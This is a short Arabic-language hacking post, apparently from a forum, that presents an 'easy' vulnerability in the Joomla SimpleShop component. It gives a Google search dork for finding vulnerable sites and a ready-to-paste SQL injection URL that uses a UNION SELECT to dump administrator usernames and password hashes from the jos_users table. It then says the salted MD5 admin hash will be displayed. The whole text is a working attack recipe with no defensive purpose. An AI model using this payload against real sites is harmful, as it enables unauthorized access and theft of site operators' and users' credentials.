ثغرة shop سهلة جدا

دورك البحث في جوجل :

inurl:"option=com_simpleshop"

نعود للصفحة الرئيسية ونلصق هذا الكود خلف الموقع مباشرة

index.php?option=com_simpleshop&Itemid=xx&task=viewprod&id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password)+from+jos_users

سيظهر لكم الادمن والباسورد مشفر بصيغة (md5($pass).$slat)